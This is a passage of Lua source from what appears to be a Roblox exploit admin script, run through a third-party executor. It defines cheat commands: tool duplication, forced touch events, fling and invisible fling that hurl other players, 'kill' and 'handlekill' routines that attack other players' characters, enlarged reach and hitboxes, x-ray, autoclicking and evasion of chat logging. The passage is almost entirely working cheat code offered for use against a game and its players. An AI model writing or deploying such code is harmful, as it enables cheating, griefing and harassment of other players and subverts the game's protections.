keep.Position = Players.LocalPlayer.Character.Head.Position
end)
end)
end
end)
addcmd('unhatspin',{'unspinhats'},function(args, speaker)
if spinhats then
spinhats:Disconnect()
end
for _,v in pairs(speaker.Character:FindFirstChildOfClass('Humanoid'):GetAccessories()) do
v.Parent = workspace
for i,c in pairs(v.Handle) do
if c:IsA("BodyPosition") or c:IsA("BodyAngularVelocity") then
c:Destroy()
end
end
wait()
v.Parent = speaker.Character
end
end)
addcmd('clearhats',{'cleanhats'},function(args, speaker)
if firetouchinterest then
local Player = Players.LocalPlayer
local Character = Player.Character
local Old = Character:FindFirstChild("HumanoidRootPart").CFrame
local Hats = {}
for _, child in ipairs(workspace:GetChildren()) do
if child:IsA("Accessory") then
table.insert(Hats, child)
end
end
for _, accessory in ipairs(Character:FindFirstChildOfClass("Humanoid"):GetAccessories()) do
accessory:Destroy()
end
for i = 1, #Hats do
repeat RunService.Heartbeat:wait() until Hats[i]
firetouchinterest(Hats[i].Handle,Character:FindFirstChild("HumanoidRootPart"),0)
repeat RunService.Heartbeat:wait() until Character:FindFirstChildOfClass("Accessory")
Character:FindFirstChildOfClass("Accessory"):Destroy()
repeat RunService.Heartbeat:wait() until not Character:FindFirstChildOfClass("Accessory")
end
execCmd("reset")
Player.CharacterAdded:Wait()
for i = 1,20 do
RunService.Heartbeat:Wait()
if Player.Character:FindFirstChild("HumanoidRootPart") then
Player.Character:FindFirstChild("HumanoidRootPart").CFrame = Old
end
end
else
notify("Incompatible Exploit","Your exploit does not support this command (missing firetouchinterest)")
end
end)
addcmd('split',{},function(args, speaker)
if r15(speaker) then
speaker.Character.UpperTorso.Waist:Destroy()
else
notify('R15 Required','This command requires the r15 rig type')
end
end)
addcmd('nilchar',{},function(args, speaker)
if speaker.Character ~= nil then
speaker.Character.Parent = nil
end
end)
addcmd('unnilchar',{'nonilchar'},function(args, speaker)
if speaker.Character ~= nil then
speaker.Character.Parent = workspace
end
end)
addcmd('noroot',{'removeroot','rroot'},function(args, speaker)
if speaker.Character ~= nil then
local char = Players.LocalPlayer.Character
char.Parent = nil
char.HumanoidRootPart:Destroy()
char.Parent = workspace
end
end)
addcmd('replaceroot',{'replacerootpart'},function(args, speaker)
if speaker.Character ~= nil and speaker.Character:FindFirstChild("HumanoidRootPart") then
local Char = speaker.Character
local OldParent = Char.Parent
local HRP = Char and Char:FindFirstChild("HumanoidRootPart")
local OldPos = HRP.CFrame
Char.Parent = game
local HRP1 = HRP:Clone()
HRP1.Parent = Char
HRP = HRP:Destroy()
HRP1.CFrame = OldPos
Char.Parent = OldParent
end
end)
addcmd('clearcharappearance',{'clearchar','clrchar'},function(args, speaker)
speaker:ClearCharacterAppearance()
end)
addcmd('equiptools',{},function(args, speaker)
for i,v in pairs(speaker:FindFirstChildOfClass("Backpack"):GetChildren()) do
if v:IsA("Tool") or v:IsA("HopperBin") then
v.Parent = speaker.Character
end
end
end)
addcmd('unequiptools',{},function(args, speaker)
speaker.Character:FindFirstChildOfClass('Humanoid'):UnequipTools()
end)
local function GetHandleTools(p)
p = p or Players.LocalPlayer
local r = {}
for _, v in ipairs(p.Character and p.Character:GetChildren() or {}) do
if v.IsA(v, "BackpackItem") and v.FindFirstChild(v, "Handle") then
r[#r + 1] = v
end
end
for _, v in ipairs(p.Backpack:GetChildren()) do
if v.IsA(v, "BackpackItem") and v.FindFirstChild(v, "Handle") then
r[#r + 1] = v
end
end
return r
end
addcmd('dupetools', {'clonetools'}, function(args, speaker)
local LOOP_NUM = tonumber(args[1]) or 1
local OrigPos = speaker.Character.HumanoidRootPart.Position
local Tools, TempPos = {}, Vector3.new(math.random(-2e5, 2e5), 2e5, math.random(-2e5, 2e5))
for i = 1, LOOP_NUM do
local Human = speaker.Character:WaitForChild("Humanoid")
wait(.1, Human.Parent:MoveTo(TempPos))
Human.RootPart.Anchored = speaker:ClearCharacterAppearance(wait(.1)) or true
local t = GetHandleTools(speaker)
while #t > 0 do
for _, v in ipairs(t) do
task.spawn(function()
for _ = 1, 25 do
v.Parent = speaker.Character
v.Handle.Anchored = true
end
for _ = 1, 5 do
v.Parent = workspace
end
table.insert(Tools, v.Handle)
end)
end
t = GetHandleTools(speaker)
end
wait(.1)
speaker.Character = speaker.Character:Destroy()
speaker.CharacterAdded:Wait():WaitForChild("Humanoid").Parent:MoveTo(LOOP_NUM == i and OrigPos or TempPos, wait(.1))
if i == LOOP_NUM or i % 5 == 0 then
local HRP = speaker.Character.HumanoidRootPart
if type(firetouchinterest) == "function" then
for _, v in ipairs(Tools) do
v.Anchored = not firetouchinterest(v, HRP, 1, firetouchinterest(v, HRP, 0)) and false or false
end
else
for _, v in ipairs(Tools) do
task.spawn(function()
local x = v.CanCollide
v.CanCollide = false
v.Anchored = false
for _ = 1, 10 do
v.CFrame = HRP.CFrame
wait()
end
v.CanCollide = x
end)
end
end
wait(.1)
Tools = {}
end
TempPos = TempPos + Vector3.new(10, math.random(-5, 5), 0)
end
end)
local RS = RunService.RenderStepped
addcmd('touchinterests', {'touchinterest', 'firetouchinterests', 'firetouchinterest'}, function(args, speaker)
if not firetouchinterest then
notify("Incompatible Exploit", "Your exploit does not support this command (missing firetouchinterest)")
return
end
local root = getRoot(speaker.Character) or speaker.Character:FindFirstChildWhichIsA("BasePart")
local function touch(x)
x = x:FindFirstAncestorWhichIsA("Part")
if x then
if firetouchinterest then
task.spawn(function()
firetouchinterest(x, root, 1)
wait()
firetouchinterest(x, root, 0)
end)
end
x.CFrame = root.CFrame
end
end
if args[1] then
local name = getstring(1)
for _, descendant in ipairs(workspace:GetDescendants()) do
if descendant:IsA("TouchTransmitter") and descendant.Name == name or descendant.Parent.Name == name then
touch(descendant)
end
end
else
for _, descendant in ipairs(workspace:GetDescendants()) do
if descendant:IsA("TouchTransmitter") then
touch(descendant)
end
end
end
end)
addcmd('fullbright',{'fb','fullbrightness'},function(args, speaker)
Lighting.Brightness = 2
Lighting.ClockTime = 14
Lighting.FogEnd = 100000
Lighting.GlobalShadows = false
Lighting.OutdoorAmbient = Color3.fromRGB(128, 128, 128)
end)
addcmd('loopfullbright',{'loopfb'},function(args, speaker)
if brightLoop then
brightLoop:Disconnect()
end
local function brightFunc()
Lighting.Brightness = 2
Lighting.ClockTime = 14
Lighting.FogEnd = 100000
Lighting.GlobalShadows = false
Lighting.OutdoorAmbient = Color3.fromRGB(128, 128, 128)
end
brightLoop = RunService.RenderStepped:Connect(brightFunc)
end)
addcmd('unloopfullbright',{'unloopfb'},function(args, speaker)
if brightLoop then
brightLoop:Disconnect()
end
end)
addcmd('ambient',{},function(args, speaker)
Lighting.Ambient = Color3.new(args[1],args[2],args[3])
Lighting.OutdoorAmbient = Color3.new(args[1],args[2],args[3])
end)
addcmd('day',{},function(args, speaker)
Lighting.ClockTime = 14
end)
addcmd('night',{},function(args, speaker)
Lighting.ClockTime = 0
end)
addcmd('nofog',{},function(args, speaker)
Lighting.FogEnd = 100000
for i,v in pairs(Lighting:GetDescendants()) do
if v:IsA("Atmosphere") then
v:Destroy()
end
end
end)
addcmd('brightness',{},function(args, speaker)
Lighting.Brightness = args[1]
end)
addcmd('globalshadows',{'gshadows'},function(args, speaker)
Lighting.GlobalShadows = true
end)
addcmd('unglobalshadows',{'nogshadows','ungshadows','noglobalshadows'},function(args, speaker)
Lighting.GlobalShadows = false
end)
origsettings = {abt = Lighting.Ambient, oabt = Lighting.OutdoorAmbient, brt = Lighting.Brightness, time = Lighting.ClockTime, fe = Lighting.FogEnd, fs = Lighting.FogStart, gs = Lighting.GlobalShadows}
addcmd('restorelighting',{'rlighting'},function(args, speaker)
Lighting.Ambient = origsettings.abt
Lighting.OutdoorAmbient = origsettings.oabt
Lighting.Brightness = origsettings.brt
Lighting.ClockTime = origsettings.time
Lighting.FogEnd = origsettings.fe
Lighting.FogStart = origsettings.fs
Lighting.GlobalShadows = origsettings.gs
end)
addcmd('stun',{'platformstand'},function(args, speaker)
speaker.Character:FindFirstChildOfClass('Humanoid').PlatformStand = true
end)
addcmd('unstun',{'nostun','unplatformstand','noplatformstand'},function(args, speaker)
speaker.Character:FindFirstChildOfClass('Humanoid').PlatformStand = false
end)
addcmd('norotate',{'noautorotate'},function(args, speaker)
speaker.Character:FindFirstChildOfClass('Humanoid').AutoRotate = false
end)
addcmd('unnorotate',{'autorotate'},function(args, speaker)
speaker.Character:FindFirstChildOfClass('Humanoid').AutoRotate = true
end)
addcmd('enablestate',{},function(args, speaker)
local x = args[1]
if not tonumber(x) then
local x = Enum.HumanoidStateType[args[1]]
end
speaker.Character:FindFirstChildOfClass("Humanoid"):SetStateEnabled(x, true)
end)
addcmd('disablestate',{},function(args, speaker)
local x = args[1]
if not tonumber(x) then
local x = Enum.HumanoidStateType[args[1]]
end
speaker.Character:FindFirstChildOfClass("Humanoid"):SetStateEnabled(x, false)
end)
addcmd('drophats',{'drophat'},function(args, speaker)
if speaker.Character then
for _,v in pairs(speaker.Character:FindFirstChildOfClass('Humanoid'):GetAccessories()) do
v.Parent = workspace
end
end
end)
addcmd('deletehats',{'nohats','rhats'},function(args, speaker)
for i,v in next, speaker.Character:GetDescendants() do
if v:IsA("Accessory") then
for i,p in next, v:GetDescendants() do
if p:IsA("Weld") then
p:Destroy()
end
end
end
end
end)
addcmd('droptools',{'droptool'},function(args, speaker)
for i,v in pairs(Players.LocalPlayer.Backpack:GetChildren()) do
if v:IsA("Tool") then
v.Parent = Players.LocalPlayer.Character
end
end
wait()
for i,v in pairs(Players.LocalPlayer.Character:GetChildren()) do
if v:IsA("Tool") then
v.Parent = workspace
end
end
end)
addcmd('droppabletools',{},function(args, speaker)
if speaker.Character then
for _,obj in pairs(speaker.Character:GetChildren()) do
if obj:IsA("Tool") then
obj.CanBeDropped = true
end
end
end
if speaker:FindFirstChildOfClass("Backpack") then
for _,obj in pairs(speaker:FindFirstChildOfClass("Backpack"):GetChildren()) do
if obj:IsA("Tool") then
obj.CanBeDropped = true
end
end
end
end)
local currentToolSize = ""
local currentGripPos = ""
addcmd('reach',{},function(args, speaker)
execCmd('unreach')
wait()
for i,v in pairs(speaker.Character:GetDescendants()) do
if v:IsA("Tool") then
if args[1] then
currentToolSize = v.Handle.Size
currentGripPos = v.GripPos
local a = Instance.new("SelectionBox")
a.Name = "SelectionBoxCreated"
a.Parent = v.Handle
a.Adornee = v.Handle
v.Handle.Massless = true
v.Handle.Size = Vector3.new(0.5,0.5,args[1])
v.GripPos = Vector3.new(0,0,0)
speaker.Character:FindFirstChildOfClass('Humanoid'):UnequipTools()
else
currentToolSize = v.Handle.Size
currentGripPos = v.GripPos
local a = Instance.new("SelectionBox")
a.Name = "SelectionBoxCreated"
a.Parent = v.Handle
a.Adornee = v.Handle
v.Handle.Massless = true
v.Handle.Size = Vector3.new(0.5,0.5,60)
v.GripPos = Vector3.new(0,0,0)
speaker.Character:FindFirstChildOfClass('Humanoid'):UnequipTools()
end
end
end
end)
addcmd("boxreach", {}, function(args, speaker)
execCmd("unreach")
wait()
for i, v in pairs(speaker.Character:GetDescendants()) do
if v:IsA("Tool") then
local size = tonumber(args[1]) or 60
currentToolSize = v.Handle.Size
currentGripPos = v.GripPos
local a = Instance.new("SelectionBox")
a.Name = "SelectionBoxCreated"
a.Parent = v.Handle
a.Adornee = v.Handle
v.Handle.Massless = true
v.Handle.Size = Vector3.new(size, size, size)
v.GripPos = Vector3.new(0, 0, 0)
speaker.Character:FindFirstChildOfClass("Humanoid"):UnequipTools()
end
end
end)
addcmd('unreach',{'noreach','unboxreach'},function(args, speaker)
for i,v in pairs(speaker.Character:GetDescendants()) do
if v:IsA("Tool") then
v.Handle.Size = currentToolSize
v.GripPos = currentGripPos
v.Handle.SelectionBoxCreated:Destroy()
end
end
end)
addcmd('grippos',{},function(args, speaker)
for i,v in pairs(speaker.Character:GetDescendants()) do
if v:IsA("Tool") then
v.Parent = speaker:FindFirstChildOfClass("Backpack")
v.GripPos = Vector3.new(args[1],args[2],args[3])
v.Parent = speaker.Character
end
end
end)
addcmd('usetools', {}, function(args, speaker)
local Backpack = speaker:FindFirstChildOfClass("Backpack")
local amount = tonumber(args[1]) or 1
local delay_ = tonumber(args[2]) or false
for _, v in ipairs(Backpack:GetChildren()) do
v.Parent = speaker.Character
task.spawn(function()
for _ = 1, amount do
v:Activate()
if delay_ then
wait(delay_)
end
end
v.Parent = Backpack
end)
end
end)
addcmd('logs',{},function(args, speaker)
logs:TweenPosition(UDim2.new(0, 0, 1, -265), "InOut", "Quart", 0.3, true, nil)
end)
addcmd('chatlogs',{'clogs'},function(args, speaker)
join.Visible = false
chat.Visible = true
table.remove(shade3,table.find(shade3,selectChat))
table.remove(shade2,table.find(shade2,selectJoin))
table.insert(shade2,selectChat)
table.insert(shade3,selectJoin)
selectJoin.BackgroundColor3 = currentShade3
selectChat.BackgroundColor3 = currentShade2
logs:TweenPosition(UDim2.new(0, 0, 1, -265), "InOut", "Quart", 0.3, true, nil)
end)
addcmd('joinlogs',{'jlogs'},function(args, speaker)
chat.Visible = false
join.Visible = true
table.remove(shade3,table.find(shade3,selectJoin))
table.remove(shade2,table.find(shade2,selectChat))
table.insert(shade2,selectJoin)
table.insert(shade3,selectChat)
selectChat.BackgroundColor3 = currentShade3
selectJoin.BackgroundColor3 = currentShade2
logs:TweenPosition(UDim2.new(0, 0, 1, -265), "InOut", "Quart", 0.3, true, nil)
end)
addcmd("chatlogswebhook", {"logswebhook"}, function(args, speaker)
if httprequest then
logsWebhook = args[1] or nil
updatesaves()
else
notify("Incompatible Exploit", "Your exploit does not support this command (missing request)")
end
end)
addcmd("antichatlogs", {"antichatlogger"}, function(args, speaker)
if not isLegacyChat then
return notify("antichatlogs", "Game needs the legacy chat")
end
local MessagePosted, _ = pcall(function()
rawset(require(speaker:FindFirstChild("PlayerScripts"):FindFirstChild("ChatScript").ChatMain), "MessagePosted", {
["fire"] = function(msg)
return msg
end,
["wait"] = function()
return
end,
["connect"] = function()
return
end
})
end)
notify("antichatlogs", MessagePosted and "Enabled" or "Failed to enable antichatlogs")
end)
flinging = false
addcmd('fling',{},function(args, speaker)
flinging = false
for _, child in pairs(speaker.Character:GetDescendants()) do
if child:IsA("BasePart") then
child.CustomPhysicalProperties = PhysicalProperties.new(100, 0.3, 0.5)
end
end
execCmd('noclip')
wait(.1)
local bambam = Instance.new("BodyAngularVelocity")
bambam.Name = randomString()
bambam.Parent = getRoot(speaker.Character)
bambam.AngularVelocity = Vector3.new(0,99999,0)
bambam.MaxTorque = Vector3.new(0,math.huge,0)
bambam.P = math.huge
local Char = speaker.Character:GetChildren()
for i, v in next, Char do
if v:IsA("BasePart") then
v.CanCollide = false
v.Massless = true
v.Velocity = Vector3.new(0, 0, 0)
end
end
flinging = true
local function flingDiedF()
execCmd('unfling')
end
flingDied = speaker.Character:FindFirstChildOfClass('Humanoid').Died:Connect(flingDiedF)
repeat
bambam.AngularVelocity = Vector3.new(0,99999,0)
wait(.2)
bambam.AngularVelocity = Vector3.new(0,0,0)
wait(.1)
until flinging == false
end)
addcmd('unfling',{'nofling'},function(args, speaker)
execCmd('clip')
if flingDied then
flingDied:Disconnect()
end
flinging = false
wait(.1)
local speakerChar = speaker.Character
if not speakerChar or not getRoot(speakerChar) then return end
for i,v in pairs(getRoot(speakerChar):GetChildren()) do
if v.ClassName == 'BodyAngularVelocity' then
v:Destroy()
end
end
for _, child in pairs(speakerChar:GetDescendants()) do
if child.ClassName == "Part" or child.ClassName == "MeshPart" then
child.CustomPhysicalProperties = PhysicalProperties.new(0.7, 0.3, 0.5)
end
end
end)
addcmd('togglefling',{},function(args, speaker)
if flinging then
execCmd('unfling')
else
execCmd('fling')
end
end)
addcmd("flyfling", {}, function(args, speaker)
execCmd("unvehiclefly\\unwalkfling")
task.wait()
vehicleflyspeed = tonumber(args[1]) or vehicleflyspeed
execCmd("vehiclefly\\walkfling")
end)
addcmd("unflyfling", {}, function(args, speaker)
execCmd("unvehiclefly\\unwalkfling\\breakvelocity")
end)
addcmd("toggleflyfling", {}, function(args, speaker)
execCmd(flinging and "unflyfling" or "flyfling")
end)
walkflinging = false
addcmd("walkfling", {}, function(args, speaker)
execCmd("unwalkfling")
local humanoid = speaker.Character:FindFirstChildWhichIsA("Humanoid")
if humanoid then
humanoid.Died:Connect(function()
execCmd("unwalkfling")
end)
end
execCmd("noclip nonotify")
walkflinging = true
repeat RunService.Heartbeat:Wait()
local character = speaker.Character
local root = getRoot(character)
local vel, movel = nil, 0.1
while not (character and character.Parent and root and root.Parent) do
RunService.Heartbeat:Wait()
character = speaker.Character
root = getRoot(character)
end
vel = root.Velocity
root.Velocity = vel * 10000 + Vector3.new(0, 10000, 0)
RunService.RenderStepped:Wait()
if character and character.Parent and root and root.Parent then
root.Velocity = vel
end
RunService.Stepped:Wait()
if character and character.Parent and root and root.Parent then
root.Velocity = vel + Vector3.new(0, movel, 0)
movel = movel * -1
end
until walkflinging == false
end)
addcmd("unwalkfling", {"nowalkfling"}, function(args, speaker)
walkflinging = false
execCmd("unnoclip nonotify")
end)
addcmd("togglewalkfling", {}, function(args, speaker)
execCmd(walkflinging and "unwalkfling" or "walkfling")
end)
addcmd('invisfling',{},function(args, speaker)
local ch = speaker.Character
ch:FindFirstChildWhichIsA("Humanoid"):SetStateEnabled(Enum.HumanoidStateType.Dead, false)
local prt=Instance.new("Model")
prt.Parent = speaker.Character
local z1 = Instance.new("Part")
z1.Name="Torso"
z1.CanCollide = false
z1.Anchored = true
local z2 = Instance.new("Part")
z2.Name="Head"
z2.Parent = prt
z2.Anchored = true
z2.CanCollide = false
local z3 =Instance.new("Humanoid")
z3.Name="Humanoid"
z3.Parent = prt
z1.Position = Vector3.new(0,9999,0)
speaker.Character=prt
wait(3)
speaker.Character=ch
wait(3)
local Hum = Instance.new("Humanoid")
z2:Clone()
Hum.Parent = speaker.Character
local root = getRoot(speaker.Character)
for i,v in pairs(speaker.Character:GetChildren()) do
if v ~= root and v.Name ~= "Humanoid" then
v:Destroy()
end
end
root.Transparency = 0
root.Color = Color3.new(1, 1, 1)
local invisflingStepped
invisflingStepped = RunService.Stepped:Connect(function()
if speaker.Character and getRoot(speaker.Character) then
getRoot(speaker.Character).CanCollide = false
else
invisflingStepped:Disconnect()
end
end)
sFLY()
workspace.CurrentCamera.CameraSubject = root
local bambam = Instance.new("BodyThrust")
bambam.Parent = getRoot(speaker.Character)
bambam.Force = Vector3.new(99999,99999*10,99999)
bambam.Location = getRoot(speaker.Character).Position
end)
addcmd("antifling", {}, function(args, speaker)
if antifling then
antifling:Disconnect()
antifling = nil
end
antifling = RunService.Stepped:Connect(function()
for _, player in pairs(Players:GetPlayers()) do
if player ~= speaker and player.Character then
for _, v in pairs(player.Character:GetDescendants()) do
if v:IsA("BasePart") then
v.CanCollide = false
end
end
end
end
end)
end)
addcmd("unantifling", {}, function(args, speaker)
if antifling then
antifling:Disconnect()
antifling = nil
end
end)
addcmd("toggleantifling", {}, function(args, speaker)
execCmd(antifling and "unantifling" or "antifling")
end)
function attach(speaker,target)
if tools(speaker) then
local char = speaker.Character
local tchar = target.Character
local hum = speaker.Character:FindFirstChildOfClass("Humanoid")
local hrp = getRoot(speaker.Character)
local hrp2 = getRoot(target.Character)
hum.Name = "1"
local newHum = hum:Clone()
newHum.Parent = char
newHum.Name = "Humanoid"
wait()
hum:Destroy()
workspace.CurrentCamera.CameraSubject = char
newHum.DisplayDistanceType = "None"
local tool = speaker:FindFirstChildOfClass("Backpack"):FindFirstChildOfClass("Tool") or speaker.Character:FindFirstChildOfClass("Tool")
tool.Parent = char
hrp.CFrame = hrp2.CFrame * CFrame.new(0, 0, 0) * CFrame.new(math.random(-100, 100)/200,math.random(-100, 100)/200,math.random(-100, 100)/200)
local n = 0
repeat
wait(.1)
n = n + 1
hrp.CFrame = hrp2.CFrame
until (tool.Parent ~= char or not hrp or not hrp2 or not hrp.Parent or not hrp2.Parent or n > 250) and n > 2
else
notify('Tool Required','You need to have an item in your inventory to use this command')
end
end
function kill(speaker,target,fast)
if tools(speaker) then
if target ~= nil then
local NormPos = getRoot(speaker.Character).CFrame
if not fast then
refresh(speaker)
wait()
repeat wait() until speaker.Character ~= nil and getRoot(speaker.Character)
wait(0.3)
end
local hrp = getRoot(speaker.Character)
attach(speaker,target)
repeat
wait()
hrp.CFrame = CFrame.new(999999, workspace.FallenPartsDestroyHeight + 5,999999)
until not getRoot(target.Character) or not getRoot(speaker.Character)
speaker.CharacterAdded:Wait():WaitForChild("HumanoidRootPart").CFrame = NormPos
end
else
notify('Tool Required','You need to have an item in your inventory to use this command')
end
end
addcmd("handlekill", {"hkill"}, function(args, speaker)
if not firetouchinterest then
return notify("Incompatible Exploit", "Your exploit does not support this command (missing firetouchinterest)")
end
if not speaker.Character then return end
local tool = speaker.Character:FindFirstChildWhichIsA("Tool")
local handle = tool and tool:FindFirstChild("Handle")
if not handle then
return notify("Handle Kill", "You need to hold a \"Tool\" that does damage on touch. For example a common Sword tool.")
end
local range = tonumber(args[2]) or math.huge
if range ~= math.huge then notify("Handle Kill", ("Started!\nRadius: %s"):format(tostring(range):upper())) end
while task.wait() and speaker.Character and tool.Parent and tool.Parent == speaker.Character do
for _, plr in next, getPlayer(args[1], speaker) do
plr = Players[plr]
if plr ~= speaker and plr.Character then
local hum = plr.Character:FindFirstChildWhichIsA("Humanoid")
local root = hum and getRoot(plr.Character)
if root and hum.Health > 0 and hum:GetState() ~= Enum.HumanoidStateType.Dead and speaker:DistanceFromCharacter(root.Position) <= range then
firetouchinterest(handle, root, 1)
firetouchinterest(handle, root, 0)
end
end
end
end
notify("Handle Kill", "Stopped!")
end)
local hb = RunService.Heartbeat
addcmd('tpwalk', {'teleportwalk'}, function(args, speaker)
tpwalking = true
local chr = speaker.Character
local hum = chr and chr:FindFirstChildWhichIsA("Humanoid")
while tpwalking and chr and hum and hum.Parent do
local delta = hb:Wait()
if hum.MoveDirection.Magnitude > 0 then
if args[1] and isNumber(args[1]) then
chr:TranslateBy(hum.MoveDirection * tonumber(args[1]) * delta * 10)
else
chr:TranslateBy(hum.MoveDirection * delta * 10)
end
end
end
end)
addcmd('untpwalk', {'unteleportwalk'}, function(args, speaker)
tpwalking = false
end)
function bring(speaker,target,fast)
if tools(speaker) then
if target ~= nil then
local NormPos = getRoot(speaker.Character).CFrame
if not fast then
refresh(speaker)
wait()
repeat wait() until speaker.Character ~= nil and getRoot(speaker.Character)
wait(0.3)
end
local hrp = getRoot(speaker.Character)
attach(speaker,target)
repeat
wait()
hrp.CFrame = NormPos
until not getRoot(target.Character) or not getRoot(speaker.Character)
speaker.CharacterAdded:Wait():WaitForChild("HumanoidRootPart").CFrame = NormPos
end
else
notify('Tool Required','You need to have an item in your inventory to use this command')
end
end
function teleport(speaker,target,target2,fast)
if tools(speaker) then
if target ~= nil then
local NormPos = getRoot(speaker.Character).CFrame
if not fast then
refresh(speaker)
wait()
repeat wait() until speaker.Character ~= nil and getRoot(speaker.Character)
wait(0.3)
end
local hrp = getRoot(speaker.Character)
local hrp2 = getRoot(target2.Character)
attach(speaker,target)
repeat
wait()
hrp.CFrame = hrp2.CFrame
until not getRoot(target.Character) or not getRoot(speaker.Character)
wait(1)
speaker.CharacterAdded:Wait():WaitForChild("HumanoidRootPart").CFrame = NormPos
end
else
notify('Tool Required','You need to have an item in your inventory to use this command')
end
end
addcmd('spin',{},function(args, speaker)
local spinSpeed = 20
if args[1] and isNumber(args[1]) then
spinSpeed = args[1]
end
for i,v in pairs(getRoot(speaker.Character):GetChildren()) do
if v.Name == "Spinning" then
v:Destroy()
end
end
local Spin = Instance.new("BodyAngularVelocity")
Spin.Name = "Spinning"
Spin.Parent = getRoot(speaker.Character)
Spin.MaxTorque = Vector3.new(0, math.huge, 0)
Spin.AngularVelocity = Vector3.new(0,spinSpeed,0)
end)
addcmd('unspin',{},function(args, speaker)
for i,v in pairs(getRoot(speaker.Character):GetChildren()) do
if v.Name == "Spinning" then
v:Destroy()
end
end
end)
xrayEnabled = false
function xray()
for _, v in pairs(workspace:GetDescendants()) do
if v:IsA("BasePart") and not v.Parent:FindFirstChildWhichIsA("Humanoid") and not v.Parent.Parent:FindFirstChildWhichIsA("Humanoid") then
v.LocalTransparencyModifier = xrayEnabled and 0.5 or 0
end
end
end
addcmd("xray", {}, function(args, speaker)
xrayEnabled = true
xray()
end)
addcmd("unxray", {"noxray"}, function(args, speaker)
xrayEnabled = false
xray()
end)
addcmd("togglexray", {}, function(args, speaker)
xrayEnabled = not xrayEnabled
xray()
end)
addcmd("loopxray", {}, function(args, speaker)
pcall(function() xrayLoop:Disconnect() end)
xrayLoop = RunService.RenderStepped:Connect(function()
xrayEnabled = true
xray()
end)
end)
addcmd("unloopxray", {}, function(args, speaker)
pcall(function() xrayLoop:Disconnect() end)
xrayEnabled = false
xray()
end)
local walltpTouch = nil
addcmd('walltp',{},function(args, speaker)
local torso
if r15(speaker) then
torso = speaker.Character.UpperTorso
else
torso = speaker.Character.Torso
end
local function touchedFunc(hit)
local Root = getRoot(speaker.Character)
if hit:IsA("BasePart") and hit.Position.Y > Root.Position.Y - speaker.Character:FindFirstChildOfClass('Humanoid').HipHeight then
local hitP = getRoot(hit.Parent)
if hitP ~= nil then
Root.CFrame = hit.CFrame * CFrame.new(Root.CFrame.lookVector.X,hitP.Size.Z/2 + speaker.Character:FindFirstChildOfClass('Humanoid').HipHeight,Root.CFrame.lookVector.Z)
elseif hitP == nil then
Root.CFrame = hit.CFrame * CFrame.new(Root.CFrame.lookVector.X,hit.Size.Y/2 + speaker.Character:FindFirstChildOfClass('Humanoid').HipHeight,Root.CFrame.lookVector.Z)
end
end
end
walltpTouch = torso.Touched:Connect(touchedFunc)
end)
addcmd('unwalltp',{'nowalltp'},function(args, speaker)
if walltpTouch then
walltpTouch:Disconnect()
end
end)
autoclicking = false
addcmd('autoclick',{},function(args, speaker)
if mouse1press and mouse1release then
execCmd('unautoclick')
wait()
local clickDelay = 0.1
local releaseDelay = 0.1
if args[1] and isNumber(args[1]) then clickDelay = args[1] end
if args[2] and isNumber(args[2]) then releaseDelay = args[2] end
autoclicking = true
cancelAutoClick = UserInputService.InputBegan:Connect(function(input, gameProcessedEvent)
if not gameProcessedEvent then
if (input.KeyCode == Enum.KeyCode.Backspace and UserInputService:IsKeyDown(Enum.KeyCode.Equals)) or (input.KeyCode == Enum.KeyCode.Equals and UserInputService:IsKeyDown(Enum.KeyCode.Backspace)) then
autoclicking = false
cancelAutoClick:Disconnect()
end
end
end)
notify('Auto Clicker',"Press [backspace] and [=] at the same time to stop")
repeat wait(clickDelay)
mouse1press()
wait(releaseDelay)
mouse1release()
until autoclicking == false
else
notify('Auto Clicker',"Your exploit doesn't have the ability to use the autoclick")
end
end)
addcmd('unautoclick',{'noautoclick'},function(args, speaker)
autoclicking = false
if cancelAutoClick then cancelAutoClick:Disconnect() end
end)
addcmd('mousesensitivity',{'ms'},function(args, speaker)
UserInputService.MouseDeltaSensitivity = args[1]
end)
local nameBox = nil
local nbSelection = nil
addcmd('hovername',{},function(args, speaker)
execCmd('unhovername')
wait()
nameBox = Instance.new("TextLabel")
nameBox.Name = randomString()
nameBox.Parent = ScaledHolder
nameBox.BackgroundTransparency = 1
nameBox.Size = UDim2.new(0,200,0,30)
nameBox.Font = Enum.Font.Code
nameBox.TextSize = 16
nameBox.Text = ""
nameBox.TextColor3 = Color3.new(1, 1, 1)
nameBox.TextStrokeTransparency = 0
nameBox.TextXAlignment = Enum.TextXAlignment.Left
nameBox.ZIndex = 10
nbSelection = Instance.new('SelectionBox')
nbSelection.Name = randomString()
nbSelection.LineThickness = 0.03
nbSelection.Color3 = Color3.new(1, 1, 1)
local function updateNameBox()
local t
local target = IYMouse.Target
if target then
local humanoid = target.Parent:FindFirstChildOfClass("Humanoid") or target.Parent.Parent:FindFirstChildOfClass("Humanoid")
if humanoid then
t = humanoid.Parent
end
end
if t ~= nil then
local x = IYMouse.X
local y = IYMouse.Y
local xP
local yP
if IYMouse.X > 200 then
xP = x - 205
nameBox.TextXAlignment = Enum.TextXAlignment.Right
else
xP = x + 25
nameBox.TextXAlignment = Enum.TextXAlignment.Left
end
nameBox.Position = UDim2.new(0, xP, 0, y)
nameBox.Text = t.Name
nameBox.Visible = true
nbSelection.Parent = t
nbSelection.Adornee = t
else
nameBox.Visible = false
nbSelection.Parent = nil
nbSelection.Adornee = nil
end
end
nbUpdateFunc = IYMouse.Move:Connect(updateNameBox)
end)
addcmd('unhovername',{'nohovername'},function(args, speaker)
if nbUpdateFunc then
nbUpdateFunc:Disconnect()
nameBox:Destroy()
nbSelection:Destroy()
end
end)
addcmd('headsize',{},function(args, speaker)
local players = getPlayer(args[1], speaker)
for i,v in pairs(players) do
if Players[v] ~= speaker and Players[v].Character:FindFirstChild('Head') then
local sizeArg = tonumber(args[2])
local Size = Vector3.new(sizeArg,sizeArg,sizeArg)
local Head = Players[v].Character:FindFirstChild('Head')
if Head:IsA("BasePart") then
Head.CanCollide = false
if not args[2] or sizeArg == 1 then
Head.Size = Vector3.new(2,1,1)
else
Head.Size = Size
end
end
end
end
end)
addcmd('hitbox',{},function(args, speaker)
local players = getPlayer(args[1], speaker)
local transparency = args[3] and tonumber(args[3]) or 0.4
for i,v in pairs(players) do
if Players[v] ~= speaker and Players[v].Character:FindFirstChild('HumanoidRootPart') then
local sizeArg = tonumber(args[2])
local Size = Vector3.new(sizeArg,sizeArg,sizeArg)
local Root = Players[v].Character:FindFirstChild('HumanoidRootPart')
if Root:IsA("BasePart") then
Root.CanCollide = false
if not args[2] or sizeArg == 1 then
Root.Size = Vector3.new(2,1,1)
Root.Transparency = transparency
else
Root.Size = Size
Root.Transparency = transparency
end
end
end
end
end)
